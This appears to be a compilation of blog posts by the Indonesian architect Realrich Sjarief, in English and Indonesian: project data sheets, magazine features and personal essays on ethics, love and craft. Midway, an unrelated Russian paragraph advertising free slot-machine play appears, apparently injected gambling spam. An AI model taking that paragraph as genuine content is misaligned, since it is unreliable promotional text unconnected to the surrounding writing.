What is the meaning of success for an architect? How can an architect be successful? And the most important question, how can an architecture student become a successful architect? A young successful architect in Indonesia, Mr Realrich Sjarief, shared his life and experience to UPH Architecture Student in a talkshow entitled “The Successful Architect” which was part of The Arcamp 2013: Project A which was held on Bidadari Island on May 19th, 2013. The audiences were enthusiastic when they heard Mr Sjarief revealed his secret of success, through many obstacles from an ordinary architecture student who ever not passing a studio until he worked for Sir Norman Foster in London, and finally opened his own architectural firm which he proudly called the best office in the world.
Akanaka is in Griya Asri Vol. 14 No. 07 July 2013. Here is the note of Griya Asri :
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Akanaka is in Griya Asri Vol. 14 No. 07 July 2013. Here is the note of Griya Asri :
Majalah Arsitektur, Interior, Taman dan Lingkungan Khusus diterbitkan sebagai media efektif dan strategis yang memuat aneka ragam informasi dan promosi produk yang berkaitan dengan produk dan jasa sebagai berikut :
Pengenalan Produk Interior, Arsitektur dan Taman
Menampilkan karya-karya arsitektur desainer interior, landscaper dan developer yang menarik sebagai informasi dan inspirasi kepada masyarakat. Artikel yang tampil dapat menjadi promosi yang efektif dari program pemasaran produk yang berhubungan dengan aspek interior, arsitektur dan taman. Lingkup pembahasan utama adalah rumah tinggal, apartemen dan fasilitas umum seperti ruang pamer, kantor, restoran, hotel, fasilitas pariwisata, kawasan olah raga dan
kawasan rekreasi.
Industri Properti
Menyampaikan informasi yang lebih terinci dan jelas tentang produk-produk properti seperti real estat, kawasan baru, apartemen, kondominium, ruko, pertokoan, perkantoran, hotel, resor dan lain-lain. Ditampilkan dalam bentuk artikel dan foto berwarna dengan pembahasan secara ilmiah populer, sehingga konsumen dapat memperoleh informasi yang pasti dan akurat sehingga dapat mengambil keputusan yang tepat.
Produk Pendukung dan Seni
Berbagai produk pendukung yang dibutuhkan untuk melengkapi fungsi ruang, bangunan, eksterior maupun interior, baik yang bersifat fungsional seperti furnitur, peralatan kerja, peralatan penerangan, pengkondisian udara, sanitasi, perlengkapan dapur, kamar mandi sampai ke ruang kerja kantor, maupun benda-benda seni berupa lukisan atau penunjang interior lainnya.
Jasa Pelayanan
Jasa yang dilakukan untuk masyarakat dibidang layanan desain rancang bangun, interior, taman, wisata dan rekreasi. Juga memberikan informasi jasa perbankan khususnya yang berkaitan dengan pembangunan perumahan, industri dan lain-lain.
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Terbit pertama Januari 2000
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Bare Minimalist is in Dwell Asia July 2013. Dwell Asia is the Asian edition of Dwell magazine, one of the leading design and architecture titles in the United States. Dwell Asia’s strength is in identifying and exploring design concepts that are idea-driven, modern, and sensitive to social and physical surroundings, and the magazine inspires its community with smart and thoughtful ideas for modern living. Dwell Asia serves a community of savvy consumers and professionals across China, India and Southeast Asia, who are passionate about design and purposeful in their pursuit of it.
Dwell Asia is published by New Media Investments (Asia) Pte Ltd six times a year under license from Dwell Media LLC.
Bare Minimalist is in Dwell Asia July 2013. Dwell Asia is the Asian edition of Dwell magazine, one of the leading design and architecture titles in the United States. Dwell Asia’s strength is in identifying and exploring design concepts that are idea-driven, modern, and sensitive to social and physical surroundings, and the magazine inspires its community with smart and thoughtful ideas for modern living. Dwell Asia serves a community of savvy consumers and professionals across China, India and Southeast Asia, who are passionate about design and purposeful in their pursuit of it.
Dwell Asia is published by New Media Investments (Asia) Pte Ltd six times a year under license from Dwell Media LLC.
The concept of the house focuses on the creating an ecological design of house which is one small design 200 sqm house. The design allow natural fresh air by the design of the green slot which also allow natural indirect lighting coming to the space. The shape itself combine the 2 intentions, first intention is well refined detail using geometric clear partii and second is maximise space through space utilisation.
Principal Architect : Realrich Sjarief
Client : Tania Chandra Lukito and Family
Project Team : Lia Kurniadewi, Mukhammad Ilham
Status : on construction
General Contractor : DOT Workshop
Advisor in charge : Singgih Suryanto
Structure Engineer : Anwar Susanto + John Djuhaedi
Bank Indonesia Headquarter at Mataram is one prestigious project which selected from winning limited competition,the design proposed a mixture between past and future. The past is a building consist of existing office. The extension in the need of extending the activity due to the maximum capacity of the building. The future project touched the other 2 storey building, and transformed it into a glass box building with repetition of new column structure.
Principal Architect : Realrich Sjarief
Team : Bambang Priyono, Apriani Kurnia Sarashayu, Andhang Trihamdhani, Randy Abimanyu, Indra Dwinugraha, David Sampurna
Status : Built
Co Architect, Structure Engineer, Mechanical Engineer : PT. Agra Tata
Agra’s team : M. Harris Yusuf, Happy Marfianta
Client : Bank Indonesia
Client’s Team : Harris Supri, M. Rizal Kurniawan, Winda
Features : Modernist scheme by touching art deco lightly
Appointment: 2014
Construction Start: 2015
Completion: 2016
Area: 2500 m²
Project data : Confidential
Features : Exposed existing green wall with Tunas Muda art + gallery
Appointment: 2015
Construction Start: 2015
Completion: 2016
Area: 800 m²
Client: Tunas Muda School (Head : Jaka+ Ratna Tjahkrana]
Principal Architect : Realrich Sjarief
Project team : Bambang Priyono, Miftahuddin Nurdayat, Tatyana Kusumo, Hendrick Tanuwidjaja, Putut Trianggana, Alfian Kharisma Es
Management Construction : Fendy
Structural Engineer: Cipta Sukses
General Contractor : Budianto Azis
Advisor in charge. : Fendy Lie
Konsep desain kompleks vokasi UI ini didasarkan pertimbangan atas 3 aspek, pertama, desain bangunan yang sesuai dengan iklim tropis. Kedua, desain bangunan yang kontekstual dengan pencitraan ui, dan ketiga, desain bangunan yang mampu memanfaatkan potensi lahan semaksimal mungkin. Penataan masterplan didasarkan dari penempatan ‘learning promenade’ di axis utama lahan yang menghubungkan node potensial transit oriented development dari Universitas Indonesia di titik selatan dengan node potensial titik wisata air amphi teater yang ada di sisi utara. Di sepanjang learning promenade ini diletakkan fungsi – fungsi untuk mengaktifasi kehidupan kampus vokasi. Di sini ada mahasiswa yang membaca buku di perpustakaan linear sepanjang learning promenade, disini ada juga café untuk para mahasiswa dan dosen berinteraksi, potensi landsekap yang mengikuti kontur juga bisa di optimalkan.Daerah kompleks vokasi ini juga akan rimbun akan pepohonan diantara massa yang menghadap utara dan selatan sehingga bayangan yang ada akan mereduksi panas dari sinar matahari di lantai dasar. Vista yang terbentuk ketika memasuki kompleks vokasi dari arah selatan terbentuk dari 3 elemen yaitu : vista menuju amphiteater air, vista transparansi massa gedung perpustakaan di sisi barat juga vista café menuju sungai dengan wisata air, dan vista di sebelah barat berupa alokasi lahan untuk taman obat untuk program kedokteran.
Ide perancangan dari kompleks Vokasi UI merupakan rangkaian dari 3 noda utama yaitu, – Kondisi eksisting yang berbatasan dengan sungai yang membelah dari utara ke selatan yang menjadi bagian interaksi dengan air, – Jalan disisi selatan yang merupakan titik pusat perhentian bus kampus dan – Jalan di sisi barat yang merupakan area servis GKU dan parkir belakang. Pembagian ini didasarkan dari pembagian fungsi-fungsi terbesar dengan anggota terbesar, seperti kedokteran dengan p’rodi baru, hokum, dan vokasi campuran. Hirarki ini juga didasarkan dari pengelompokkan dari ilmu manusia [kedokteran], ilmu etika [hukum], dan ilmu – ilmu umum dengan menghubungkan keseluruhan fungsi dengan gedung kuliah umum. Susunan pengelompokkan diatur berdasarkan besaran ruang yang diestimasikan dengan jumlah mahasiswa di tahun 2013 sejumlah 11700 orang.
Bangunan – bangunan penunjang seperti massa lobby utama diletakkan sepanjang boulevard yang diperuntukkan untuk galeri utama. Massa – massa dihubungkan dengan selasar yang dilengkapi dengan kanopi sedangkan di sisi selatan, diletakkan akomodasi hunian mahasiswa berlantai tingkat rendah dengan aksesibilitas menuju ke kampus vokasi UI. Daerah landsekap didesain sesuai eksisting dari kampus UI dengan orientasi aktifitas terhadap sungai dengan menghubungkan sisi timur sungai dengan lahan melalui rangkaian jembatan untuk akses pejalan kaki. Lahan parkir diletakkan di sisi barat kompleks Vokasi UI.
‘Bangunan – bangunan di kompleks Vokasi UI juga didesain dengan menggunakan arah orientasi bangunan Utara – Selatan yang sesuai dengan iklim tropis. Keadaan ini meminimalisasi cahaya matahari langsung yang masuk ke bangunan. Bangunan ini menggunakan konstruksi baja, penggunaan solar panel pada sisi atas bangunan, dan wind turbine di sisi dalam bangunan. Penggunaan batu bata juga mendinginkan suhu bangunan disamping meminimalisasi carbon foot print dengan penggunaan bahan yang re-usable.
600 x 600 skylight in the bedroom with the height of 3 m height of skylight to avoid direct sunlight to come to the bedroom more than 20 minutes a day.
Geometry interplayed by simple form, #rawarchitecture #raw it is a way to look to a framing sculpture or living events through its sights (an aperture or circles).
Progress steel frame window with hole formed by cutting o shape, try to exercise the theme strange detail : consistent from big circle to small circle, add up to strange details
The house is not finished at all in the process of living, but the process will be opened and shared, and ready for critics just for evaluating the process so next time, hopefully in the life of architect, next work should be better than before. The term 99 % is a process of almost finished which every work is always faced where 1% is left to the future, where work is occupied, changed, redefined by further need. The work of architect processed based on its expedients, alchemy, and experiments during the process of the making. Expedients is about the resources available in the process, alchemy is about the relationship along the persons inside the making, and experiments is more into the product driven by expedients and alchemy. The discussion about this work is based on this 3 category to uncover the relationship in the process of making of the guild which we are all hoping to hear, see, and learn from its 99% product and process.
Ruang membentuk individu, individu membentuk masyarakat, dan masyarakat membentuk ruang. Seolah siklus, yang tak berujung dan tak bermula; seperti kisah telur dan ayam. Ruang dibentuk oleh individu-individu kemudian merupa individu-individu lain. Kita, manusia, dicipta oleh ruang, dan kita, manusia, mencipta ruang. Arsitektur bermula dari sebuah ruang.
Ruang adalah saya, kamu dan dia. Kita membentuk ruang, ruang berusaha menawarkan cara pandang kepada masyarakat yang nantinya akan kembali akan merupa diri kita sendiri. Ruang adalah kita. Ruang adalah keterkaitan, jaringan dan semangat kita – yang hidup dan dihidupkan oleh kontribusi kita. Ruang menawarkan kacamata dalam melihat arsitektur dan berusaha memasyarakatkannya.
130512 Jakarta, “Satu – satunya sumber energi yang tak terbatas adalah kasih”
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Ada cerita mengenai orang – orang di surga dan di neraka. Orang – orang tersebut hanya bisa makan melalui sendok sepanjang 1 meter kurang lebih, orang- orang di surga nampak bahagia, fisiknya segar bugar, lain halnya dengan orang – orang di neraka, kurus, kering kerontang. Ternyata, orang – orang di surga makan dengan saling menyuapi orang lain, namun orang – orang yang di neraka, makan untuk dirinya sendiri, ia tidak pernah puas, ia tidak bisa makan, karena sendok tersebut terlalu panjang. Romo berkata, kita bisa melihat orang dari pribadi – pribadinya. fisiknya, apakah ia menjadi terang bagi orang lain atau sebaliknya, membawa kegelapan tanpa batas, kehampaan.
Menyuapi orang lain adalah sebuah sikap, dan cara pandang dalam hidup. Hal ini akan membantu kita dalam menapaki cita dan cinta. Diri ini ingat suatu waktu berpacaran pertama kali dengan istri tercinta, Laurensia. Keinginan pertama adalah, mendengarkan, mengerti pribadinya, kemudian memberikan pengalaman yang terbaik, diri ini menjemput malam hari, diri ini ingat saya hanya punya waktu 2 minggu, sebelum bertolak kembali ke Inggris pada waktu itu. Diri ini putuskan, biarlah ini jadi minggu terbaik yang diri ini berikan untuk Laurensia. Dalam rentang sesaat,di tengah – tengah minggu diri ini beranjak ke Singapore , untuk sekedar berkunjung ke teman – teman karena janji lama untuk bertegur sapa dengan mereka, dan kemudian diri ini merasakan rasa kangen yang luar biasa dengan wanita terbaikku, dan rasa sayang itu mulai ada. Setiap tarikan garis memiliki titik pertamanya, sebuah titik, sama seperti cinta, ia juga dimulai dari titik, titik yang dimulai dari sendok sepanjang 1 meter. Kemudian disinilah saya dengan wanita yang kucintai, Laurensia.
Teknik dalam mengolah ruang bisa dipelajari melalui belajar dan belajar untuk menempa diri, mengasah sensitifitas, seperti sendok sepanjang 1 meter yang kita berikan kepada orang lain, bagaimana kebolehan kita dipergunakan untuk membantu sesama. Puluhan ribu jam, dengan jam – jam yang panjang yang sudah dijalani sampai umur 31 ini. Laurensia sendiri akan berulang tahun di bulan ini. Kami berdua, tidak punya keinginan macam – macam, hanya ingin hidup yang sederhana dan cukup. Sendok sepanjang 1 meter, adalah satu sudut pandang untuk melihat dari sisi orang lain.
Bian Poen menulis, ” dalam waktu singkat… kita…dapat merubah nilai – nilai… dimana kekuasaan diubah menjadi keadilan, kejayaan diubah menjadi kedamaian, kebanggaan diubah menjadi kerendahan hati.
Maukah kita melakukan hal itu, jika ya, maka arsitektur dapat menjadi rahmat.(Bian Poen). Dalam satu sudut pandang, mendengarkan orang lain bukan memperjuangkan ego kita, mendengarkan kata hati bukan emosi hati, mendengarkan alam dengan segala keindahannya adalah satu rahmat yang luar biasa, kemudian kebahagiaan itu datang begitu saja. Inilah arsitektur yang lain, arsitektur kehidupan. Diri ini belajar untuk menjadi manusia dengan segala potensinya dan lebih – lebih keterbatasannya.
Diri ini merasa bahwa dalam hidup kita yang singkat ini, diri ini tidak pernah berpikir macam – macam, hanya menggunakan apa yang terbaik yang diri ini bisa, segala talenta, segala kekayaan, segala hubungan baik untuk menyebarkan kasih. Dan diri ini punya mimpi untuk itu.
Mulai dari hari ini mulailah dengan mengucapkan kata – kata aku cinta padamu, apabila di dalam hati tidak ada kasih, maka tidaklah mungkin ia akan berbuat baik dan menyebarkan kasih apapun sukunya, apapun bangsanya, tidak peduli ia sobat atau saudaramu. semua orang sama.
130301 Jakarta “How well you live comes down to how much you love. The heart is wiser than the head. Trust it. Follow it
Satu teman berkata,”In order to succeed you have to kill your father.”
Kemudian sambungnya lagi “termasuk juga hal itu terjadi anak saya, ia selalu membantah saya, kita tidak cocok, selalu tidak sejalan dengan saya, anak saya adalah seorang pengacara”, ia sampai berkata, “ayo tanya apa yang saya tidak tahu.” anak itu kasar dan kami selalu berargumentasi untuk saling mengalahkan, untuk menentukan siapa yang benar – siapa yang nomor satu. Ini masalah antar ayah-anak.
Betapa kompetitifnya hidup orang ini ? Kompetisi memang mewarnai hidup kita, namun apakah harus sekeras itu ? atau apakah itu jalan yang terbaik menjalaninya ? Mungkin bagaimana generativitas atau cara pandang yang positif perlu direnungi, Post dan Neimark menulis “Beri ia ikan dan ia akan makan hari ini; ajari orang itu menangkap ikan dan dia akan makan seumur hidup.” Saat kita merawat orang lain agar hidup mereka berkembang dalam berbagai cara yang misterius dan tidak terduga, kita menyampaikan cinta kasih. Cinta kasih mungkin salah satu hal yang dilupakan di atas, seharusnya pandangan – pandangan di atas tersebut tidak perlu terjadi.
Hari itu sore – sore, satu teman menelpon menelepon, “Pak, kok project kita sudah ada di internet ya, berbeda dengan yang kita obrolkan, padahal kita belum publish project ini, mohon ini dilihat ya.” kemudian Diri ini mengkontak beberapa orang yang merupakan alumni dan relasi – relasi kantor untuk melihat hal ini, dan meminta mereka untuk membantu menyelesaikan hal ini. Ternyata Ada satu orang menyebarkan informasi tersebut dalam website pribadinya, tanpa ijin. Diri ini terus terang terhenyak dengan hal ini dan tersadar bahwa internet adalah sebuah medan informasi yang tanpa batas, dimana juga terdapat nilai – nilai apa yang bisa dilakukan apa yang tidak bisa dilakukan.
Saya berpikir dengan seluruh kecepatan informasi yang ada, kita perlu berhati – hati dalam menghargai sesama, etika perlu dibangun di masa yang serba cepat ini. Social media, Facebook, Twitter, WordPress, dsb. Dengan segala kecepatan informasi yang ditawarkan sebenarnya merupakan satu ruang bersama, sebuah rumah – rumah yang adakalanya ia diijinkan untuk masuk dan adakalanya juga ia tidak diijinkan untuk masuk. Disini ruang publik diibaratkan seperti sebuah persimpangan jalan yang dilalui orang – orang dengan billboard besar di samping – sampingnya. Informasi yang ditawarkan tentu banyak orang yang membaca di bill board tersebut. Masalahnya adalah sering orang tidak menyadari ini. Bahwa social media adalah ruang publik yang juga memiliki etika penyampaian informasi. Dalam ruang publik ini pun kita memiliki tanggung jawab.
“Facebook’s News Feed an Epic Fail ? Former employee Katherine Losse : The day we launched News Feed felt, without exaggeration, like a minor Vietnam… Email after email of the thousands we received that day told graphically of the betrayal and evisceration the users felt…Technology is the perfect alibi. Facebook doesn’t hurt people : people hurt people . This is true. But as Facebook makes it possible to do things faster, more efficiently, more cheaply, it makes it possible to hurt people faster, more efficiently, with less cost to themselves. It removes any sense of direct responsibility for our behavior, for how what we do makes others feel. With Facebook, you can act and be seen acting without ever having to look anyone who is watching you in the eye, or look at them at all. The boys Kings, 2012 [taken from Billionaire Boy, Mark Zuckerberg in his own words, ‘Hacker. Dropout. CEO’]
Melihat satu kejadian ini kebelakang, berpikir mengenai hubungan antar-manusia bahwa seseorang yang berkerja secara penuh waktu di dalam satu ikatan kerja, adalah pribadi yang belajar dan berkerja dengan permintaan, ia berkerja dalam satu tim besar dan kecil yang terikat dengan norma – norma yang terdapat didalamnya. Ia juga terikat dengan nilai untuk menjaga nama baik, kelanggengan hubungan dengan etika terbaik untuk membina hubungan yang selama – lamanya. Adapun terkait dengan hal – hal norma – norma, perlu meminta ijin untuk menampilkan dalam ruang publik. Diri ini pun bersikap demikin dengan seluruh orang tempat diri ini mengikat hubungan perkerjaan dengan atasan juga dengan bawahan, orang – orang yang memberikan kepercayaan dan dengan rekan sejawat.
“Etika adalah seni memperhatikan hak – hak dan perasaan orang lain,… pengorbanan yang kita lakukan demi hidup bersama, demi perjalanan kita bersama orang lain, dan dari cinta dan respek akan konsep bahwa memang ada orang lain. “Stephen Post, dan Jill Neimark.
Pikiran ini melayang mengenai hubungan manusia dengan manusia, Dulu harus mempersiapkan presentasi untuk acara lomba desain sekitar 9 tahun yang lalu, sesaat sebelum wisuda. Ingat bagaimana belajar memakai dasi, memakai lengan panjang, meminjam sabuk kepunyaan bapak. Ingat bagaimana juri berkata, “Melihat penampilan kamu, saya jadi pingin muntah, seperti professor, .” Generalisasi pun terjadi, Diri ini hanya terdiam, tersenyum, dan kemudian mencoba mempresentasikan karya sebaik mungkin. Diri ini ingat bagaimana bertemu kembali dengan juri tersebut, kemudian berbincang – bincang, setelah kita mengenal lebih dalam, rasa suka bertambah, dan rasa tidak suka pun berkurang. Diri ini pun merasa dekat dengan juri tersebut. Tidak ada ketidakcocokan apabila kita bisa berkomunikasi dengan baik. Merasa dekat, berbicara dengan tulus, dan berkomunikasi selayaknya keluarga.
Diri ini juga teringat akan satu film yang disukai, “Forest Gump”. Forest Gump adalah seorang pekerja keras namun memiliki etika yang tinggi dalam kehidupannya, sikapnya terhadap keluarga dan teman – teman yang dicintainya. Ia berkerja keras untuk itu dan akhirnya mendapatkan apa yang ia inginkan, cinta, keyakinan, kemudian menjaganya sepenuh hati. Diri ini pun merenungi arti dalam menjalani hidup ini.
satu teman terbaik bercerita mengenai keadaan di kantornya, salah satu kantor terbaik. Bagaimana wakilnya di kantor cabang mengerjakan pekerjaan – pekerjaan pribadi mereka menggunakan fasilitas kantor tanpa sepengetahuannya, kemudian memiliki proyek bayangan, proyek ilegal, kemudian terciptalah sistem kantor di dalam kantor tanpa sepengetahuan dengan staff – staff kantor berkerja untuk wakil kantor tersebut. Diri ini berpikir bagaimana itu bisa terjadi ? Kabar ini tercium ke relasi – relasi terdekatnya, teman – teman seprofesi, dan sahabat yang terkadang merangkap sebagai klien, sementara kita membantu mengingatkan sahabatku supaya hal – hal baik yang terjadi dalam ketidakpedulian pihak – pihak lain pada etika. Hal ini dinamakan Moonlighting, hal yang sudah biasa dilakukan oleh beberapa arsitek untuk menyambung hidup mereka. Sebenarnya asalkan perjanjiannya jelas, tidak ada masalah.
Di satu saat satu teman terbaik berkata bahwa dalam hidup ini untuk kaya ada 3 hal. Menjadi Kaya, kaya yang pertama, adalah kaya akan relasi,tidak boleh sombong. kaya yang kedua adalah kaya akan ilmupengetahuan, tidak boleh berhenti belajar, yang ketiga kaya akan iman, terus berdoa dan bersyukur akan nikmat karunia yang diberikan. Intensi dari membangun etika adalah membangun ketiga kekayaan ini. Kaya relasi, kaya pengetahuan, dan kaya akan niat baik. Seketika diri ini ingat,
Pelajaran mengenai etika tidak disangka – sangka muncul ketika berkunjung ke Shirakawa Go, satu perkampungan tradisional Jepang untuk menginap disana untuk satu malam. Diri ini ingat waktu itu salju turun, dan koper ini pun sudah tidak bisa ditarik lagi, rodanya membeku. Kita berjalan setengah kilometer untuk ke Ryokan, satu penginapan tradisional. Saat itu suhu udara sudah minus dibawah o derajat celcius. Diri ini ingat bagaimana kekhawatiran akan istri, kondisinya yang sedang mengandung. Satu hal yang membuat diri ini merasa bersalah membuatnya berjalan capai.
Kami sudah ditunggu pemilik rumah, dipersilahkan masuk, diberikan handuk, kemudian dipertunjukkan letak kamar tidur kami. Rumah itu berisi tiga kamar tidur, kebetulan 2 kamar tidur lainnya diisi oleh 2 keluarga Jepang. Diri ini ingat gendang di perut sudah mulai ditabuh, sembari kami menghangatkan badan, kami menunggu makan malam. Saat – saat yang ditunggu – tunggu adalah makan malam, perut kami yang sudah lapar. Kami disuguhi hidangan Kaiseki, hidangan satu set menu khas Jepang. Ada satu orang di keluarga Jepang di sebelah meja kami membantu kami, karena kami tidak mengerti bagaimana cara makan hidangan ini, sang anak membantu menghidangkan teh kepada Laurensia, dan diri ini, Kemudian sang anak menghidangkan teh tersebut ke ayahnya sendiri, dan ia meletakkan poci tersebut. Kemudian Giliran ayahnya, menuangkan teh untuk anaknya. Kejadian itu berlangsung berulang – ulang pada keluarga yang lain, mereka saling menuangkan teh untuk yang lain begitu gelasnya kosong, namun tidak untuk mereka sendiri.
Diri ini bertanya – tanya kenapa sang anak tidak mengambil untuk dirinya sendiri ? … begitu diajarkan mengenai tata cara makan malam, dalam budaya Jepang. Ternyata cara kita makan, menghindari untuk mengambil minuman kita sendiri adalah filosofi bagaimana kita bisa mementingkan kepentingan orang lain, selain diri kita sendiri, hidangkan untuk orang lain lalu letakkan, biarkan orang lain yang menghidangkan untuk kita. Cara makan ini mengajarkan kita mengenai filosofi “respecting others” menghargai orang lain.
“The Japanese consider it an important part of hospitality to keep their guest’ glasses full, bu it is thought to be impolite to fill your own. Instead, you must wait for others to notice that your glass is empty so they can fill it for you.” Ayame
Diri ini juga berpikir mengenai tradisi timur, tradisi orang Indonesia, Jawa, yang memulai kebiasaan dengan memanggil nama “ayah makan, ibu makan, kakak makan.” bahwa mungkin etika adalah satu aspek yang sangat penting dalam kita bersikap, mewarnai hidup kita dengan sesama.
Satu kalimat dari Julian dalam suratnya kepada Jonathan dalam buku yang ditulis Robin sharma, The monk who sold his ferrari, dalam satu perenungan panjang dalam perhentian 3 bulan ini untuk mengajarkan diri ini untuk lebih bertanggung jawab, lebih beretika,
Live with kindness… how we treat someone defines how we treat everyone, including ourselves. If we disrespect another , we disrespect ourselves. If we are mistrusful of others, we are distrustful of ourselves… with every person we engage in everything we do, we must be kinder than expected, more generous than anticipated, more positive than we thought possible. Every moment in front of another human being is an opportunity to express our highest values and to influence some one with our humanity. We can make the world better, one person at a time. :)
Puji Tuhan semoga kita semua mendapatkan kesempatan untuk belajar lebih banyak lagi. Terima kasih Tuhan :) Semoga hidup akan semakin baik untuk kita jalani.
130312 , “Go as far as you can see. When you get there you’ll be able to see farther.”- Thomas Carlyle
Bali, Kerobokan. Hari ini terik, Mataku perih, sudah beberapa hari ini, diri ini tidur larut malam. Setiap minggu juga diri ini berpergian untuk melihat pekerjaan yang ada di Jakarta ataupun di Luar pulau Jawa. Diri ini baru saja pulang dari Bali untuk mengecek satu pekerjaan di daerah Bali utara, di daerah Kerobokan bersama Edhie. Laurensia ikut menemani dalam perjalanan yang cukup panjang 3 jam dari kota Denpasar.
Hari ini hari sabtu. diri ini Mataku ingin terpejam, untuk beristirahat lebih lama, diri ini ingat ada pekerjaan yang harus dikirim hari ini diriku bergumam dalam hati, setelah itu aku bisa tidur dengan nyenyak. Seluruh kerja keras di minggu – minggu kemarin dipusatkan pada minggu ini. Aku kemudian berpikir, ya mungkin kerja keras ini bisa berbuah dengan baik. Diri ini terbayang pantai yang indah di belakang halaman kami, dan apabila beruntung kami bisa ke daerah Ubud dengan jajaran galeri – galeri seninya yang menanti untuk dijelajahi.
“…Bali is one of the few cultures with origins in one of the great ancient cultures which is still alive.” Arthur Erickson
Diri ini ingat Bali dengan segala kepercayaan yang dianutnya, filosofi hidupnya, dan simbolisme yang ditunjukan dalam keseharian orang – orang di dalamnya. Setiap pagi orang Bali yang beragama Hindu, memulai harinya dengan berdoa, meletakkan persembahan kepada semesta, untuk menghargai alam semesta ini, sewaktu siang berdoa kembali, dan menutup hari juga dengan berdoa. Diri ini berpikir diri ini belajar banyak sekali dari tradisi ini setiap harinya. Sama seperti simbol patung kura – kura yang diri ini bawa dari Bali yang berarti menghargai orang yang lebih tua sebagai filosofi dari menjalani hidup ini sepenuhnya.
Diri ini berpikir mengenai apa saja yang sudah terjadi belakangan ini, banyak tawaran muncul untuk mengembangkan diri sebaik – baiknya, sebesar – besarnya. Namun diri ini merenung dan berkaca, sebesar apa sebaiknya kita tumbuh. Dan seberapa cepat kita tumbuh. Diri ini pikir ini membutuhkan proses, tidak instan, namun orang tidak pernah tahu seberapa cepatnya kita perlu tumbuh, pertanyaan berikutnya, lalu bagaimana ?
“Jadilah pohon yang rindang”, kata om William, yang buahnya lezat bisa dinikmati siapapun. “untuk ke bintang kamu harus mengalami kerja keras yang luar biasa dan juga menjadi pohon yang memiliki tajuk yang lebar.”
Diri ini kemudian merenungi bahwa perbuatan kita sehari – hari adalah memberikan buah untuk orang lain. Buah untuk istri, untuk keluarga, buah untuk teman – teman terbaik yang sudah atau belum kita kenal sekalipun. Diri ini ingat bahkan di usianya yang sudah senja. 90 tahun, Tante Lily, istri almarhum om William masih menyempatkan diri untuk datang di pernikahan kami, katanya opa Laurensia adalah teman sepermainan beliau. Diri ini belajar dari cara beliau menghargai sesama, baginya hubungan itu penting sekali, hubungan yang tulus, dengan niat yang tulus. Bukan hubungan atas dasar untung rugi belaka. Diri ini mendapatkan satu mentor terbaik untuk menjalani hidup. Bagaimana menjalani hidup yang tumbuh perlahan – lahan.
“Only one who devotes himself to a cause with his whole strength and soul can be a true master. For this reason mastery demands all of a person.” Albert Einstein
Diri ini berkata pada satu teman terbaikku, Pak seorang arsitek akan mumpuni di umur 50 tahun mungkin, dengan segala pengetahuan yang dia miliki. “Apa artinya waktu, ingat Rich, selalu berikan yang terbaik.” Diri ini kemudian teringat pada ikat kepala yang diri ini selalu terikat di tas yang biasa kubawa – bawa setiap hari, dulu diri ini memanggul pagoda pertanda musim panen bersama teman – teman di Jepang, ikat kepala itu sebagai penanda semangat yang tiada pernah padam. Kami memanggul pagoda itu bersama – sama, ada 20 orang sampai 30 orang. Diri ini tertawa mengingat peristiwa itu. Mungkin Tuhan punya rencananya sendiri untuk kita semua.
Pelajaran terbaik pun datang tidak disangka – sangka justru dari teman terbaikku, Edhie. Saya punya hadiah untuk kamu, ia berujar, ia mengeluarkan satu buah batu, dengan cat warna – warni, batu itu memiliki mata, hidung, mulut, dan baju.
Ini hasil dari lukisan anak – anak cacat, ayah dari Danny yang memiliki yayasan anak – anak ini. Ibaratnya apabila dibiarkan batu itu seperti semula, ia tidak berarti. Apabila ia di cat, dihias, memiliki makna ia akan berarti, sama seperti batu ini. Diri ini berpikir kita dalam hidup ini, menjalani, hidup yang terbaik, berikan yang terbaik, pada akhirnya semua yang kita lakukan ini bukanlah untuk diri kita, namun untuk sesama. Hal ini akan menjadi mulia, apa adanya. Batu ini diri ini namakan Bernie, penanda bagaimana kita bisa berbagi kepada sesama dengan sebaik – baiknya.
Lucunya hari demi hari, diri ini selalu membawa batu ini kemana – mana, seperti kemarin diri ini dihentikan di airport, karena membawa sebuah batu, “Pak disini dilarang membawa batu.” Diri ini pun tersenyum, ia pun keheranan melihat Bernie, Kemudian setelah dijelaskan apa arti batu ini kemudian petugas bandara pun mengerti. “lain kali batunya dimasukkan koper ya pak.” petugas itu pun tersenyum. Memang kasih yang tulus, membuat dunia ini jauh lebih berarti, melalui hal yang sangat sederhana.
Diri ini pun menutup tulisan ini dengan puji syukur akan pelajaran yang terbaik di perempatan tahun 2013 ini. Semoga banyak hal semakin baik terjadi, yang terjadi, terjadilah.
“Love is the essence of life; love touches all of our relationship even with stranger. Love never leaves us. It clings to people who believe, and to those who don’t”
Вывод денег из игровых автоматов – это одна из наиболее важных целей каждого гэмблера. Примечательно, что в отличие от когда-то популярных механических вариантов слотов, в виртуальные игровые автоматы играть бесплатно 777 можно бесконечное количество раз.
Today will talk about an event that took place at Kemang Arcade. It was by the people from Architect Universitas Indonesia (UI). The event was called Immortalitivity Reviving the Dead. Experiencing the Fantasy. Why is it called that is because we found a lot of empty space that is forgotten around us and we made this to make those empty spaces alive with fantasies.
There’s a lot of project here that is about those spaces that is forgotten. Wow! That’s a really sweet idea. The event was a seven day event with lecturers from Realrich Sjarief and Mohammad Nanda Widyarta. They also had a talkshow by Avianti Armand and Achmad Tardiyana. I was there at the last day of the event. There was snacks, drinks, and a lot of young crowds. If you love architect, art, and design this is event for you. Well, enough of the chitchat. Check out some of the projects and pictures below!
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From the outside, the design exercised introvert expression, blocked by layers of solid wall, humble with existing with tropical canopy as expression. The curve, circular expression is blocked by the wall and strange library as periphery.The transparency and more complex form emerge when we enter the building passing the public through more private space.
I did lecture a month ago with just a good will for young architect. I got so much thing, nurtured by clients, being happy with the process being architect. I do love architecture, there are much about 3 story in the process : forming expedients, practicing alchemy, and practicing experiments. that session was my first time, thinking about profession.
Pic by rezki
Few days ago I was invited by Rofianisa Nurdin to talk about work in the her community, Creative Mornings Jakarta. It was quite difficult to find a content of what I would say in the sharing session. I had been thinking about the content for few days, asking people in the studio about what usually people wanna hear. And then, I realised, rofi’s last day was on friday as well, it was the day of the creative morning session. so I started the lecture, by being honest about my feeling, in this few years, reflecting the time passed in the studio, the lecture was made for her. 
Wiwid’s father just passed away. I deeply sad for her loss. I called her, and heard her story, I know it’s not easy for her having loss in such period, a month, for losing his father. She even said that her father suddenly lost his memory. I hope she is going to be okay, our little Cherry is together in heaven with her father.
Few relations coming and taught new ways of facing society. We are holding what trust between us in a matter of great work. Trust that we will do always the best work that we ever had, trust that we will respect everybody in the team, every effort. In the way of architecture firm grew even bigger there are 2 terms which are important, one is IDEAS, another is Trust. There are various way of looking through at how we as human develops trust.
